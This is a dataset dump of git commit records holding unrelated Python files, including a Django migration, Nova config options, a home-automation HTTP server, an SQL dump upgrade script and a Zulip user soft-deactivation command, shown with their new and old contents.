commit
stringlengths
40
40
subject
stringlengths
1
1.49k
old_file
stringlengths
4
311
new_file
stringlengths
4
311
new_contents
stringlengths
1
29.8k
old_contents
stringlengths
0
9.9k
lang
stringclasses
3 values
proba
float64
0
1
eeea573c3ecf6aa2baacdda61c0f9a248a28780f
add missing migration
ynr/apps/uk_results/migrations/0034_auto_20180130_1243.py
ynr/apps/uk_results/migrations/0034_auto_20180130_1243.py
# -*- coding: utf-8 -*- # Generated by Django 1.9.13 on 2018-01-30 12:43 from __future__ import unicode_literals from django.db import migrations, models class Migration(migrations.Migration): dependencies = [ ('uk_results', '0033_auto_20170506_2042'), ] operations = [ migrations.AlterModelOptions( name='postelectionresult', options={'get_latest_by': 'confirmed_resultset__created'}, ), migrations.AlterField( model_name='councilelectionresultset', name='review_status', field=models.CharField(blank=True, choices=[(None, b'Unreviewed'), (b'unconfirmed', b'Unconfirmed'), (b'confirmed', b'Confirmed'), (b'rejected', b'Rejected')], max_length=100), ), migrations.AlterField( model_name='postelectionresult', name='confirmed', field=models.BooleanField(default=True), ), migrations.AlterField( model_name='resultset', name='review_status', field=models.CharField(blank=True, choices=[(None, b'Unreviewed'), (b'unconfirmed', b'Unconfirmed'), (b'confirmed', b'Confirmed'), (b'rejected', b'Rejected')], max_length=100), ), ]
Python
0.000258
59f0a18b5232e866f84fdaf6688ced5a1b4a9c44
Add fedora.tg.widgets module containing a few proof-of-concept Fedora TurboGears widgets
fedora/tg/widgets.py
fedora/tg/widgets.py
# Proof-of-concept Fedora TurboGears widgets # Authors: Luke Macken <lmacken@redhat.com> import re import urllib2 import feedparser import simplejson from bugzilla import Bugzilla from turbogears.widgets import Widget class FedoraPeopleWidget(Widget): template = """ <table xmlns:py="http://purl.org/kid/ns#" border="0"> <tr py:for="entry in entries"> <td><img src="${entry['image']}" height="32" width="32"/></td> <td><a href="${entry['link']}">${entry['title']}</a></td> </tr> </table> """ params = ["entries"] def __init__(self): self.entries = [] regex = re.compile('<img src="(.*)" alt="" />') feed = feedparser.parse('http://planet.fedoraproject.org/rss20.xml') for entry in feed['entries'][:5]: self.entries.append({ 'link' : entry['link'], 'title' : entry['title'], 'image' : regex.match(entry['summary']).group(1) }) class FedoraMaintainerWidget(Widget): template = """ <table xmlns:py="http://purl.org/kid/ns#" border="0"> <tr py:for="pkg in packages"> <td><a href="https://admin.fedoraproject.org/pkgdb/packages/name/${pkg['name']}">${pkg['name']}</a></td> </tr> </table> """ params = ["packages"] def __init__(self, username): page = urllib2.urlopen('https://admin.fedoraproject.org/pkgdb/users/packages/%s/?tg_format=json' % username) self.packages = simplejson.load(page)['pkgs'][:5] class BugzillaWidget(Widget): template = """ <table xmlns:py="http://purl.org/kid/ns#" border="0"> <tr py:for="bug in bugs"> <td> <a href="${bug.url}">${bug.bug_id}</a> ${bug.short_short_desc} </td> </tr> </table> """ params = ["bugs"] def __init__(self, email): bz = Bugzilla(url='https://bugzilla.redhat.com/xmlrpc.cgi') self.bugs = bz.query({ 'product' : 'Fedora', 'email1' : email, 'emailassigned_to1' : True })[:5]
Python
0
046922c6b842e5ba78fc44848ddf24e6434dd799
Add related options to floating ip config options
nova/conf/floating_ips.py
nova/conf/floating_ips.py
# Copyright 2016 Huawei Technology corp. # All Rights Reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); you may # not use this file except in compliance with the License. You may obtain # a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, WITHOUT # WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the # License for the specific language governing permissions and limitations # under the License. from oslo_config import cfg floating_ip_opts = [ cfg.StrOpt('default_floating_pool', default='nova', help=""" Default pool for floating IPs. This option specifies the default floating IP pool for allocating floating IPs. While allocating a floating ip, users can optionally pass in the name of the pool they want to allocate from, otherwise it will be pulled from the default pool. If this option is not set, then 'nova' is used as default floating pool. Possible values: * Any string representing a floating IP pool name """), cfg.BoolOpt('auto_assign_floating_ip', default=False, help=""" Autoassigning floating IP to VM When set to True, floating IP is auto allocated and associated to the VM upon creation. """), cfg.StrOpt('floating_ip_dns_manager', default='nova.network.noop_dns_driver.NoopDNSDriver', help=""" Full class name for the DNS Manager for floating IPs. This option specifies the class of the driver that provides functionality to manage DNS entries associated with floating IPs. When a user adds a DNS entry for a specified domain to a floating IP, nova will add a DNS entry using the specified floating DNS driver. When a floating IP is deallocated, its DNS entry will automatically be deleted. Possible values: * Full Python path to the class to be used Related options: * use_neutron: this options only works with nova-network. """), cfg.StrOpt('instance_dns_manager', default='nova.network.noop_dns_driver.NoopDNSDriver', help=""" Full class name for the DNS Manager for instance IPs. This option specifies the class of the driver that provides functionality to manage DNS entries for instances. On instance creation, nova will add DNS entries for the instance name and id, using the specified instance DNS driver and domain. On instance deletion, nova will remove the DNS entries. Possible values: * Full Python path to the class to be used Related options: * use_neutron: this options only works with nova-network. """), cfg.StrOpt('instance_dns_domain', default='', help=""" If specified, Nova checks if the availability_zone of every instance matches what the database says the availability_zone should be for the specified dns_domain. Related options: * use_neutron: this options only works with nova-network. """) ] def register_opts(conf): conf.register_opts(floating_ip_opts) def list_opts(): return {'DEFAULT': floating_ip_opts}
# needs:fix_opt_description # Copyright 2016 Huawei Technology corp. # All Rights Reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); you may # not use this file except in compliance with the License. You may obtain # a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, WITHOUT # WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the # License for the specific language governing permissions and limitations # under the License. from oslo_config import cfg # TODO(johngarbutt) all of these opitions only work with nova-network. # We need to find a good way to document that. floating_ip_opts = [ cfg.StrOpt('default_floating_pool', default='nova', help=""" Default pool for floating IPs. This option specifies the default floating IP pool for allocating floating IPs. While allocating a floating ip, users can optionally pass in the name of the pool they want to allocate from, otherwise it will be pulled from the default pool. If this option is not set, then 'nova' is used as default floating pool. Possible values: * Any string representing a floating IP pool name """), cfg.BoolOpt('auto_assign_floating_ip', default=False, help=""" Autoassigning floating IP to VM When set to True, floating IP is auto allocated and associated to the VM upon creation. """), cfg.StrOpt('floating_ip_dns_manager', default='nova.network.noop_dns_driver.NoopDNSDriver', help=""" Full class name for the DNS Manager for floating IPs. This option specifies the class of the driver that provides functionality to manage DNS entries associated with floating IPs. When a user adds a DNS entry for a specified domain to a floating IP, nova will add a DNS entry using the specified floating DNS driver. When a floating IP is deallocated, its DNS entry will automatically be deleted. Possible values: * Full Python path to the class to be used """), cfg.StrOpt('instance_dns_manager', default='nova.network.noop_dns_driver.NoopDNSDriver', help=""" Full class name for the DNS Manager for instance IPs. This option specifies the class of the driver that provides functionality to manage DNS entries for instances. On instance creation, nova will add DNS entries for the instance name and id, using the specified instance DNS driver and domain. On instance deletion, nova will remove the DNS entries. Possible values: * Full Python path to the class to be used """), # TODO(aunnam): remove default cfg.StrOpt('instance_dns_domain', default='', help=""" If specified, Nova checks if the availability_zone of every instance matches what the database says the availability_zone should be for the specified dns_domain. """) ] def register_opts(conf): conf.register_opts(floating_ip_opts) def list_opts(): return {'DEFAULT': floating_ip_opts}
Python
0.000011
efee783cb87fe2015ab719699e80a661aa3b4d4b
Create main.py
main.py
main.py
import os import cv2 import FocusStack """ Focus stack driver program This program looks for a series of files of type .jpg, .jpeg, or .png in a subdirectory "input" and then merges them together using the FocusStack module. The output is put in the file merged.png Author: Charles McGuinness (charles@mcguinness.us) Copyright: Copyright 2015 Charles McGuinness License: Apache License 2.0 """ def stackHDRs(image_files): focusimages = [] for img in image_files: print "Reading in file {}".format(img) focusimages.append(cv2.imread("input/{}".format(img))) merged = FocusStack.focus_stack(focusimages) cv2.imwrite("merged.png", merged) if __name__ == "__main__": image_files = sorted(os.listdir("input")) for img in image_files: if img.split(".")[-1].lower() not in ["jpg", "jpeg", "png"]: image_files.remove(img) stackHDRs(image_files) print "That's All Folks!"
Python
0.000001
3e0ababfeb0e22d33853d4bad68a29a0249e1a60
Add script demonstrating thread deadlock
other/iterate_deadlock.py
other/iterate_deadlock.py
""" Demonstrates deadlock related to attribute iteration. """ from threading import Thread import h5py FNAME = "deadlock.hdf5" def make_file(): with h5py.File(FNAME,'w') as f: for idx in xrange(1000): f.attrs['%d'%idx] = 1 def list_attributes(): with h5py.File(FNAME, 'r') as f: names = list(f.attrs) if __name__ == '__main__': make_file() thread = Thread(target=list_attributes) thread.start() list_attributes() thread.join()
Python
0
b1517f63c3aa549170d77c6fb3546901fdbe744b
Remove the hard-coded extra 'cv' and 'program' fields
candidates/migrations/0017_remove_cv_and_program_fields.py
candidates/migrations/0017_remove_cv_and_program_fields.py
# -*- coding: utf-8 -*- from __future__ import unicode_literals from django.db import models, migrations class Migration(migrations.Migration): dependencies = [ ('candidates', '0016_migrate_data_to_extra_fields'), ] operations = [ migrations.RemoveField( model_name='personextra', name='cv', ), migrations.RemoveField( model_name='personextra', name='program', ), ]
Python
0.000636
5789cc585a69f3c73e63a36d99c02b119f593bc9
Create accelerometer.py
gadgets/navigators/accelerometer.py
gadgets/navigators/accelerometer.py
from spi.rpi_spi import rpi_spi_dev from spi.adc.MCP3208 import MCP3208 class ACCEL_GY61(): # use chip ADXL335 def __init__(self,device=0,x_channel=0,y_channel=1,z_channel=2): self.spi = rpi_spi_dev(device).spi self.mcp = None if self.spi is not None: self.mcp = MCP3208(self.spi) self.vrx_channel = x_channel self.vry_channel = y_channel self.vrz_channel = z_channel def get_data(self): if self.mcp is None: return (0,0) xpos = self.mcp.read_adc(self.vrx_channel) ypos = self.mcp.read_adc(self.vry_channel) zpos = self.mcp.read_adc(self.vrz_channel) return (xpos,ypos,zpos)
Python
0.000074
c0da1aecb6e663d9586238e9d8f2b7a8abb40cf7
Add transform module to place ongoing built in transformmers
hug/transform.py
hug/transform.py
"""hug/transform.py Defines Hug's built-in output transforming functions Copyright (C) 2015 Timothy Edmund Crosley Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. """ def content_type(transformers, default=None): '''Returns a different transformer depending on the content type passed in. If none match and no default is given no transformation takes place. should pass in a dict with the following format: {'[content-type]': transformation_action, ... } ''' def transform(data, request): transformer = transformers.get(request.content_type.split(';')[0], default) if not transformer: return data return transformer(data) return transform
Python
0
c99b6a0ec139deaabb0276ccb04492d70ed48562
add actual code
cnxupgrade/upgrades/dump_upgrade.py
cnxupgrade/upgrades/dump_upgrade.py
# -*- coding: utf-8 -*- # ### # Copyright (c) 2013, Rice University # This software is subject to the provisions of the GNU Affero General # Public License version 3 (AGPLv3). # See LICENCE.txt for details. # ### import sys import psycopg2 from psycopg2.extras import DictCursor from cnxarchive.database import (get_collection_tree, next_version, republish_collection, rebuild_collection_tree, get_minor_version) __all__ = ('cli_loader',) DEFAULT_ID_SELECT_QUERY = '''\ SELECT module_ident FROM modules WHERE now() - revised < '1 day'::interval ORDER BY revised ''' def create_temp_load_tables(f): f.write('create temp table new_abstracts (abstractid int, abstract text);\n') f.write('create temp table new_keywords (keywordid int, word text);\n') f.write('create temp table new_files (fileid int, md5 text, file bytea);\n') f.write('''create temp table new_modules ( module_ident int, moduleid text, version text, name text, created timestamptz, revised timestamptz, abstractid int, licenseid int, doctype text, submitter text, submitlog text, stateid int, parent int, language text, authors text[], maintainers text[], licensors text[], parentauthors text[], portal_type text);\n''') f.write('create temp table new_module_files (module_ident int, fileid int, filename text,mimetype text);\n') f.write('create temp table new_modulefti (module_ident int, module_idx tsvector);\n') f.write('create temp table new_modulekeywords (module_ident int, keywordid int);\n') f.write('create temp table new_moduletags (module_ident int, tagid int);\n') def copy_load_tables(f): f.write('insert into abstracts (abstractid,abstract) select * from new_abstracts;\n') f.write('insert into keywords (keywordid,word) select * from new_keywords;\n') f.write('insert into files (fileid,md5,file) select * from new_files;\n') f.write('''insert into modules (module_ident, moduleid, version, name, created, revised, abstractid, licenseid, doctype, submitter, submitlog, stateid, parent, language, authors, maintainers, licensors, parentauthors, portal_type) select * from new_modules;\n''') f.write('insert into module_files (module_ident,fileid,filename,mimetype ) select * from new_module_files;\n') f.write('insert into modulefti (module_ident,module_idx ) select * from new_modulefti;\n') f.write('insert into modulekeywords (module_ident,keywordid ) select * from new_modulekeywords;\n') f.write('insert into moduletags (module_ident,tagid ) select * from new_moduletags;\n') def dump_module(cursor,module_ident, f): """walks the tables dumping SQL commands to transfer given module_ident and all its required child tables""" cursor.execute('select abstractid from modules where module_ident = %s', (module_ident,)) res = cursor.fetchone() # Abstract abid = res[0] cursor.execute('select 1 from modules where abstractid = %s and module_ident < %s', (abid, module_ident)) res = cursor.fetchone() if not(res): f.write('copy new_abstracts from stdin;\n') cursor.copy_expert('copy (select abstractid,abstract from abstracts where abstractid = %s) to stdout' % abid, f) f.write('\.\n') # Keywords cursor.execute('select keywordid from modulekeywords where module_ident = %s', (module_ident,)) keyids = [k[0] for k in cursor.fetchall()] cursor.execute('select keywordid from modulekeywords where module_ident < %s', (module_ident,)) old_keyids = [k[0] for k in cursor.fetchall()] new_keyids = [k for k in keyids if k not in old_keyids] if new_keyids: f.write('copy new_keywords from stdin;\n') cursor.copy_expert('copy (select keywordid,word from keywords where keywordid in (%s)) to stdout' % str(new_keyids)[1:-1], f) f.write('\.\n') # Files cursor.execute('select fileid from module_files where module_ident = %s', (module_ident,)) fileids = [i[0] for i in cursor.fetchall()] cursor.execute('select fileid from module_files where module_ident < %s', (module_ident,)) old_fileids = [i[0] for i in cursor.fetchall()] new_fileids = [i for i in fileids if i not in old_fileids] new_fileids = {}.fromkeys(new_fileids).keys() if new_fileids: f.write('copy new_files from stdin;\n') cursor.copy_expert('copy (select fileid,md5,file from files where fileid in (%s)) to stdout' % str(new_fileids)[1:-1], f) f.write('\.\n') f.write('copy new_modules from stdin;\n') cursor.copy_expert('''copy (select module_ident, moduleid, version, name, created, revised, abstractid, licenseid, doctype, submitter, submitlog, stateid, parent, language, authors, maintainers, licensors, parentauthors, portal_type from modules where module_ident = %s) to stdout''' % module_ident, f) f.write('\.\n') f.write('copy new_module_files from stdin;\n') cursor.copy_expert('copy (select module_ident,fileid,filename,mimetype from module_files where module_ident = %s) to stdout' % module_ident, f) f.write('\.\n') f.write('copy new_modulefti from stdin;\n') cursor.copy_expert('copy (select module_ident,module_idx from modulefti where module_ident = %s) to stdout' % module_ident, f) f.write('\.\n') f.write('copy new_modulekeywords from stdin;\n') cursor.copy_expert('copy (select module_ident,keywordid from modulekeywords where module_ident = %s) to stdout' % module_ident, f) f.write('\.\n') f.write('copy new_moduletags from stdin;\n') cursor.copy_expert('copy (select module_ident,tagid from moduletags where module_ident = %s) to stdout' % module_ident, f) f.write('\.\n') def cli_command(**kwargs): """The command used by the CLI to invoke the upgrade logic. """ db_conn = kwargs['db_conn_str'] id_select_query = kwargs['id_select_query'] filename = kwargs['filename'] if filename: f = open(filename,'w') else: f = sys.stdout with psycopg2.connect(db_conn, cursor_factory=DictCursor) as db_connection: with db_connection.cursor() as cursor: cursor.execute(id_select_query) docs = cursor.fetchall() if docs: create_temp_load_tables(f) sys.stderr.write('Number of documents: {}\n'.format(len(docs))) for i, doc in enumerate(docs): module_ident = doc[0] sys.stderr.write('Processing #{}, document ident {}\n'.format(i, module_ident)) dump_module(cursor,module_ident,f) copy_load_tables(f) def cli_loader(parser): """Used to load the CLI toggles and switches. """ parser.add_argument('--id-select-query', default=DEFAULT_ID_SELECT_QUERY, help='an SQL query that returns module_idents to ' 'create sql transfer dumps for' 'default {}'.format(DEFAULT_ID_SELECT_QUERY)) parser.add_argument('--filename', default=None, help='filename to store sql dump, default stdio') return cli_command
Python
0.000134
e8e65c78ddbb7f3d9b0667aba8626073ce9208f6
Add applicationserver back
davan/http/applicationserver.py
davan/http/applicationserver.py
""" @author: davandev """ #!/bin/env python import logging import os import time import datetime #import datetime.datetime.strptime #import datetime.datetime from BaseHTTPServer import BaseHTTPRequestHandler from SocketServer import ThreadingMixIn import socket import BaseHTTPServer import httplib import cgi import argparse import traceback import signal import sys import __builtin__ import davan.util.application_logger as log_manager import davan.config.config_creator as config_factory import davan.util.helper_functions as helper from davan.http.ServiceInvoker import ServiceInvoker global services global logger logger = logging.getLogger(os.path.basename(__file__)) class RunningServerException(Exception): """ Exception raised when an existing distribution server is discovered on the host """ def __init__(self, value): self.value = value def __str__(self): return repr(self.value) # Custom handler to handle http requests received in server. class CustomRequestHandler(BaseHTTPRequestHandler): """ Request handler that handles incoming requests. """ def do_POST(self): """ Handles POST requests. Currently not implemented """ try: logger.info("Received POST request from external host : " + self.address_string()) ctype, pdict = cgi.parse_header(self.headers.getheader('content-type')) postvars = {} self.send_error(404, 'File Not Found: %s' % self.path) except IOError: self.send_error(404, 'File Not Found: %s' % self.path) def do_GET(self): ''' Handle GET requests ''' try: global services service = services.get_service(self.path) if not service == None: result_code, mime_type, result = service.handle_request(self.path) self.send_response(result_code) self.send_header('Content-type', mime_type) if result is not None: self.send_header('Content-Length', len(result)) self.end_headers() self.wfile.write(result) else: self.end_headers() return # Another server is started, terminate this one. elif self.path.endswith("seppuku"): if __builtin__.davan_services.is_running(): logger.info("Shutting down services") __builtin__.davan_services.stop_services() self.send_response(200) self.send_header('Content-type', 'text/html') self.end_headers() self.wfile.write("hai") else: logger.info("Shutting down server") self.send_response(200) self.send_header('Content-type', 'text/html') self.end_headers() self.wfile.write("hai") self.server.socket.close() else: self.send_error(404, 'File Not Found: %s' % self.path) return except : logger.error(traceback.format_exc()) service.increment_errors() self.send_error(404, 'File Not Found: %s' % self.path) def log_message(self, format, *args): return class ApplicationServer(ThreadingMixIn, BaseHTTPServer.HTTPServer): pass # Send a request to running server to shutdown. def _tear_down_running_server(config): """ Sends a request to an instance of the server running on the same host requesting it to shutdown. @param port: The port where to send the tear down request. """ logger.debug("Tear down existing server on [" + config["SERVER_ADRESS"] + "]" + " port[" + str(config["SERVER_PORT"]) + "]") conn1 = httplib.HTTPConnection(config["SERVER_ADRESS"] + ":" + str(config["SERVER_PORT"])) conn1.request("GET", "/seppuku") r1 = conn1.getresponse() response_msg = r1.read() if response_msg == "hai": conn1.request("GET", "/seppuku") r1 = conn1.getresponse() response_msg = r1.read() # Try to start the server, def start_server(configuration): """ Starts the server on the provided port. Raises exception if an instance is already running on the host @param port: The port that the server listens to """ try: time.strptime("01:00", '%H:%M') _ = datetime.datetime.strptime("01:00", '%H:%M') global services services = ServiceInvoker(config) services.discover_services() services.start_services() # ugly way to share services __builtin__.davan_services = services server = ApplicationServer(('', config["SERVER_PORT"]), CustomRequestHandler) helper.debug_big("Server started on host port[" + str(config["SERVER_PORT"]) + "] ") while 1: server.handle_request() if not __builtin__.davan_services.is_running(): server.server_close() logger.warning("Services has been stopped") sys.exit(1) except socket.error, (value, message): if value == 98: # Address port already in use logger.error("Failed to start server with message" + " [" + message + "]") raise RunningServerException("Port is already in use") else: logger.error("Failed to start server") def _parse_arguments(): """ Parse command line arguments """ parser = argparse.ArgumentParser() parser.add_argument("-s", "--start", help="Start server", action="store_true") parser.add_argument("-o", "--stop", help="Stop server", action="store_true") parser.add_argument("-d","--debug", help="Enable debug", action="store_true", default=False) parser.add_argument("-p","--privateconfig", help="Configuration file with private data", action="store", default="/home/pi/private_config.py") args = parser.parse_args() return args def handler(signum, frame): logger.info("Caught Ctrl+c, stopping server") global services services.stop_services() sys.exit(1) if __name__ == '__main__': _ = datetime.datetime.strptime("01:00", '%H:%M') args = _parse_arguments() config = config_factory.create(args.privateconfig) if args.debug: #log_manager.start_file_logging(config["LOGFILE_PATH"]) helper.debug_formated(config) log_manager.start_logging(config["LOGFILE_PATH"],loglevel=4) else: log_manager.start_file_logging(config["LOGFILE_PATH"]) try: if args.stop: _tear_down_running_server(config) logger.debug("Shutting down existing server") exit(1) else: signal.signal(signal.SIGINT, handler) start_server(config) except RunningServerException: # Running server found if _tear_down_running_server(config): time.sleep(2) # wait for running server to shutdown start_server(config) else: logger.error("Failed to terminate the running server") except socket.error: logger.error("Server not running")
Python
0.000001
3ed52b0a51ccb18b053ca69984d8072e1ffdec25
Add 328
Ninja/Leetcode/328_Odd_Even_Linked_List.py
Ninja/Leetcode/328_Odd_Even_Linked_List.py
""" Given a singly linked list, group all odd nodes together followed by the even nodes. Please note here we are talking about the node number and not the value in the nodes. You should try to do it in place. The program should run in O(1) space complexity and O(nodes) time complexity. Example 1: Input: 1->2->3->4->5->NULL Output: 1->3->5->2->4->NULL Example 2: Input: 2->1->3->5->6->4->7->NULL Output: 2->3->6->7->1->5->4->NULL Note: The relative order inside both the even and odd groups should remain as it was in the input. The first node is considered odd, the second node even and so on ... """ # Definition for singly-linked list. # class ListNode: # def __init__(self, x): # self.val = x # self.next = None class Solution: def oddEvenList(self, head: ListNode) -> ListNode: if not head: return None odd_current = head even_current = head.next even_head = head.next current = head i = 0 while current: if i % 2 == 0: even_current.next = current even_current = even_current.next else: odd_current.next = current odd_current = odd_current.next i += 1 current = current.next return head
Python
0.998625
732852ae19d3e7edbbfda9394808ca245456a69b
complete re and datetime sample
08.StandardLibrary.py
08.StandardLibrary.py
#-*- encoding: utf-8 -*- ''' Python Standard Library See Also: http://docs.python.org/3/library/index.html ''' import re ''' re See Also: http://docs.python.org/3/library/re.html ''' ''' m = re.search('H(.*?)o', 'I Say: Hello World Hello World Hello World') if m: print(m.group(0)) # Hello print(m.group(1)) # ell # Error # print(m.group(2)) else: print('no match') m = re.match('H(.*?)o', 'I Say: Hello World Hello World Hello World') if m: print(m.group(0)) print(m.group(1)) else: print('no match') # no match m = re.match('H(.*?)o', 'Hello World Hello World Hello World') if m: print(m.group(0)) # Hello print(m.group(1)) # ell else: print('no match') # re.I or re.IGNORECASE m = re.search('h(.*?)o', 'I Say: Hello World Hello World Hello World') if m: print(m.group(0)) print(m.group(1)) else: print('no match') # no match m = re.search('h(.*?)o', 'I Say: Hello World Hello World Hello World', re.I) if m: print(m.group(0)) # Hello print(m.group(1)) # ell else: print('no match') # re.M or re.MULTILINE str = """ I Say: Hello world, Hello world, Hello world, """ m = re.search('^h(.*?)o', str, flags = re.M | re.I) if m: print(m.group(0)) # Hello print(m.group(1)) # ell else: print('no match') m = re.search('^H(.*?)o', str, re.I) if m: print(m.group(0)) print(m.group(1)) else: print('no match') # no match print(re.sub('h(.*?)o', 'hey', 'I Say: Hello World Hello World Hello World', 2, re.I)) # I Say: hey World hey World Hello World print(re.split('h.*?o', 'I Say: Hello World Hello World Hello World', 2, re.I)) # ['I Say: ', ' World ', ' World Hello World'] l = re.findall('h.*?o', 'I Say: Hello World Hello World Hello World', re.I) for m in l: print(m) # Hello # Hello # Hello re_hello = re.compile('h.*?o', re.I) l = re_hello.findall('I Say: Hello World Hello World Hello World') for m in l: print(m) # Hello # Hello # Hello str = 'my str is this.\n' # regex: this\.\n m = re.search('this\\.\\n', str) if m: print(m.group(0)) # this.\n else: print('no match') m = re.search(r'this\.\n', str) if m: print(m.group(0)) # this.\n else: print('no match') # re.X or re.VERBOSE m = re.search(r""" this # match this \. # match . \n # match break line """, str, re.X) if m: print(m.group(0)) # this.\n else: print('no match') ''' import time import datetime ''' strftime() and strptime() Behavior See Also: http://docs.python.org/3/library/datetime.html#strftime-and-strptime-behavior ''' print(time.strptime('2014-01-09 17:33:30', '%Y-%m-%d %H:%M:%S')) # time.struct_time(tm_year=2014, tm_mon=1, tm_mday=9, tm_hour=17, tm_min=33, tm_sec=30, tm_wday=3, tm_yday=9, tm_isdst=-1) print(datetime.datetime.strftime(datetime.datetime.now(), '%Y-%m-%d %H:%M:%S')) # 2014-01-09 17:45:25 t = time.strptime('2014-01-09 17:33:30', '%Y-%m-%d %H:%M:%S') print(time.strftime('%m/%d/%y %I:%M:%S %p', t)) # 01/09/14 05:33:30 PM
Python
0
bbd43a3af7fdd5eacea13fae9c1670aa5436e7bc
add data not sufficient exception that shall be raised when data provided to a feature is not sufficient
features/exception_data_not_suffient.py
features/exception_data_not_suffient.py
"""This exception shall be raised in case the data provided to a feature is not sufficient""" class DataNotSufficientError(Exception): def __init__(self, value): self.value = value def __str__(self): return repr(self.value)
Python
0
e41d4fa8a61126495dc5cc42575fa5ce5b89f1b7
add spiel on whitespace
1_start/whitespace.py
1_start/whitespace.py
# FUN WITH WHITESPACE IN PYTHON # Whitespace is critical in Python. Unlike some other scripting languages, # which use characters to tell the interpreter where functions and loops # end, Python uses structured indentation for new lines, making "blocks" of # code. my_string = 'New York' print "Start spreading the news," if my_string == 'New York': print "I'm leaving today," print "I want to be a part of it," for num in range(0,2): print my_string else: print "you clearly don't know how this song goes. {}?".format(my_string) # What do you think the above does? Let's step through it. # (Notice how blank lines between code is A-OK.) # Some other places indentation and whitespace don't matter much: # When assigning items to a list or a string; the below is ugly, but sometimes # it's more readable in a script to define things on different lines. list_of_cities = [ 'Buffalo', 'Key West', 'Fort Collins', 'Bakersfield' ] wordy_string = "Four score and seven years ago, our fathers brought" \ " forth on this continent ... hmm. I" \ " am desperately trying to remember what Abraham Lincoln" \ " said, because it was one of the most important and" \ " and influentual speeches in modern history; I've even" \ " been to Gettysburg. Wow, this is pretty embarrasing." # Tabs and spaces. Don't mix them. The interpreter will choke on it. Style # dictates that you use four spaces instead of tabs. I generally set up my # text editor to replace tabs on the fly or do it after I'm done with my # script, because I much prefer hitting tab once instead of space four times. print "Start spreading the news," if my_string == 'New York': print "I'm leaving today," print "I want to be a part of it," for num in range(0,2): print my_string else: print "you clearly don't know how this song goes. {}?".format(my_string) # The above looks fine, right? You will get an IndentationError. Most text # editors have a function
Python
0.99847
acf7e2a9eeedfef28f892d4633b9bbeae479390a
Set conditional to be against result of get_realm, not input.
zerver/management/commands/soft_activate_deactivate_users.py
zerver/management/commands/soft_activate_deactivate_users.py
from __future__ import absolute_import from __future__ import print_function from django.db import connection from django.conf import settings from django.utils.timezone import now as timezone_now from typing import Any, List, Dict from argparse import ArgumentParser from six.moves import map import sys from zerver.models import UserProfile, UserMessage, Realm, RealmAuditLog from zerver.lib.soft_deactivation import ( do_soft_deactivate_users, do_soft_activate_users, get_users_for_soft_deactivation, logger ) from zerver.lib.management import ZulipBaseCommand class Command(ZulipBaseCommand): help = """Soft activate/deactivate users. Users are recognised by there emails here.""" def add_arguments(self, parser): # type: (ArgumentParser) -> None self.add_realm_args(parser) parser.add_argument('-d', '--deactivate', dest='deactivate', action='store_true', default=False, help='Used to deactivate user/users.') parser.add_argument('-a', '--activate', dest='activate', action='store_true', default=False, help='Used to activate user/users.') parser.add_argument('--inactive-for', type=int, default=28, help='Specify the number of days of user inactivity that user should be marked soft_deactviated') parser.add_argument('users', metavar='<users>', type=str, nargs='*', default=[], help="This option can be used to specify a list of user emails to soft activate/deactivate.") def handle(self, *args, **options): # type: (*Any, **str) -> None if settings.STAGING: print('This is a Staging server. Suppressing management command.') sys.exit(0) if options['realm_id']: realm = self.get_realm(options) filter_kwargs = {} # type: Dict[str, Realm] if realm is not None: filter_kwargs = dict(realm=realm) user_emails = options['users'] activate = options['activate'] deactivate = options['deactivate'] if activate: if not user_emails: print('You need to specify at least one user to use the activate option.') self.print_help("./manage.py", "soft_activate_deactivate_users") sys.exit(1) users_to_activate = UserProfile.objects.filter( email__in=user_emails, **filter_kwargs ) users_to_activate = list(users_to_activate) if len(users_to_activate) != len(user_emails): user_emails_found = [user.email for user in users_to_activate] for user in user_emails: if user not in user_emails_found: raise Exception('User with email %s was not found. Check if the email is correct.' % (user)) users_activated = do_soft_activate_users(users_to_activate) logger.info('Soft Reactivated %d user(s)' % (len(users_activated))) elif deactivate: if user_emails: users_to_deactivate = UserProfile.objects.filter( email__in=user_emails, **filter_kwargs ) users_to_deactivate = list(users_to_deactivate) if len(users_to_deactivate) != len(user_emails): user_emails_found = [user.email for user in users_to_deactivate] for user in user_emails: if user not in user_emails_found: raise Exception('User with email %s was not found. Check if the email is correct.' % (user)) print('Soft deactivating forcefully...') else: if realm is not None: filter_kwargs = dict(user_profile__realm=realm) users_to_deactivate = get_users_for_soft_deactivation(int(options['inactive_for']), filter_kwargs) if users_to_deactivate: users_deactivated = do_soft_deactivate_users(users_to_deactivate) logger.info('Soft Deactivated %d user(s)' % (len(users_deactivated))) else: self.print_help("./manage.py", "soft_activate_deactivate_users") sys.exit(1)
